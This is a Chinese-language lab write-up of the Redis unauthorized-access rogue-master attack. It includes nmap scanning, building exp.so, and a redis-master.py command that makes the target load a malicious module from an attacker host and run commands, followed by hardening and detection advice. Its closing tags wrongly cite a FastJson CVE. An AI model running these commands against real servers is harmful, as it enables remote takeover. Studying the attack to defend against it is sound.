#Redis未授权访问漏洞#
一、漏洞简介
redis是一个数据库,默认端口是6379,redis默认是没有密码验证的,可以免密码登录操作,攻击者可以通过操作redis进一步控制服务器。
Redis未授权访问在4.x/5.0.5以前版本下,可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
二、漏洞影响
影响版本
Redis 4.x/5.0.5以前版本
三、产生原因
在Redis4.X之后,通过对外部进行拓展,可以实现在redis中实现一个新的Redis命令,通过C语言并且编译出.so文件,在Redis的通信中并知识明文的表达方式,中间参杂了许多的混杂的内容,例如输入命令
get christa
其抓到的内容为
该传输格式借用成员Pavel Toporkov的图来看可以分为三大块
*<number> : 参数的个数
$<number>:参数的长度
<parameter>:参数
因此,其返回的包也是一个道理
因为Redis主要是基于TCP进行连接,因此我们可以借助主从模式的特性发送一个基于从模式的命令流,向攻击机发送一个命令流slave的命令流,然后攻击机伪造成一个主从的机器向目标机器发送Redis的特定的数据流将恶意文件exp.so保存到当地文件文件上面,在通过module加载该so文件,之后取消主从模式,将当前的命令模块保存到本地并以.rdb后缀命名,最终使用命令system.exec 执行命令。
四、复现过程
docker 靶机:192.168.111.137
攻击机 kali:192.168.111.139
靶场环境:redis:4.0.14
docker搭建靶场环境
docker-compose up -d
docker-compose ps
可以看到redis启动在6379端口
攻击机安装redis,依次执行以下命令
wget http://download.redis.io/releases/redis-2.8.12.tar.gz
tar -xzf redis-2.8.12.tar.gz
cd redis-2.8.12
make
cd src
./redis-cli -h
出现帮助信息,安装成功
nmap扫描靶机
nmap -sV --open -p- 192.168.111.137
发现6379端口开启
用攻击机redis连接目标机redis
cd redis-2.8.12/src/
./redis-cli -h 192.168.111.137
连接成功,info查看信息
下载exp
git clone https://github.com/vulhub/redis-rogue-getshell.git
进入该目录下
cd redis-rogue-getshell/RedisModulesSDK/exp
make //在当前目录下生成一个exp.so文件
回到redis-rogue-getshell目录下,利用EXP
./redis-master.py -r 192.168.111.137 -p 6379 -L 192.168.111.139 -P 1111 -f RedisModulesSDK/exp/exp.so -c "id" //第一个ip是靶机,第二个ip是攻击机
利用成功
由于实验环境为vulhub,只能通过该exp来getshell,如果想通过写文件、ssh key或定时计划来getshell,会提示没有权限。可参考以下文章自行搭建环境进行复现。
https://www.cnblogs.com/Xy–1/p/12230858.html
https://blog.csdn.net/Jiajiajiang_/article/details/81368212
五、修复方案
-
禁止绑定公网(本地缓存)
redis.conf: bind 127.0.0.1 //redis本来就是作为内存数据库,只要监听在本机即可
-
密码验证
配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中
-
降权运行
禁止使用 root 权限启动 redis 服务
vim /etc/redis/redis.conf # By default Redis does not run as a daemon. Use 'yes' if you need it. # Note that Redis will write a pid file in /var/run/redis.pid when daemonized. daemonize yes
在降权(deamon)模式下,更改配置文件路径是不允许的,即"config set dir /root/.ssh/"执行失败,从而避免了写任意文件的风险
-
其他
- 限定可以连接Redis服务器的IP
- 修改Redis默认端口6379
- 配置rename-command配置项"RENAME_CONFIG",这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度
-
禁止从redis写入主模式redis传输的文件
slave-read-only yes
-
自动化检测方案
-
从running进程redis-server中获取启动参数中的配置文件路径。如果获取失败则从默认路径: /etc/redis/redis.conf
-
检查配置key-value对
daemonize yes bind 127.0.0.1
-
六、参考链接
标签
CVE-2017-18349、FastJson、反序列化、命令执行